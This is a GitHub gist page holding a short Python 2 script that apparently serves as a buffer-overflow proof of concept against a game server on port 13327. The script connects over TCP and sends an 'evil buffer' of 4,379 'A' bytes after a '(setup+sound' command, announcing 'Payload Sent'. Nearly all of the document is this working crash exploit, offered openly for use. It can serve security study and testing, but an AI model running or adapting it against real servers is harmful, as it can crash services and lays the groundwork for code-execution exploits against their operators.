Skip to content

Instantly share code, notes, and snippets.

@hasasn
Created August 29, 2015 20:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hasasn/3610277286312edd8845 to your computer and use it in GitHub Desktop.
Save hasasn/3610277286312edd8845 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import socket
host = "127.0.0.1"
crash="\x41" * 4379
buffer = "\x11(setup+sound " + crash + "\x90\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
data=s.recv(1024)
print data
s.send(buffer)
s.close()
print "[*]Payload Sent !"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment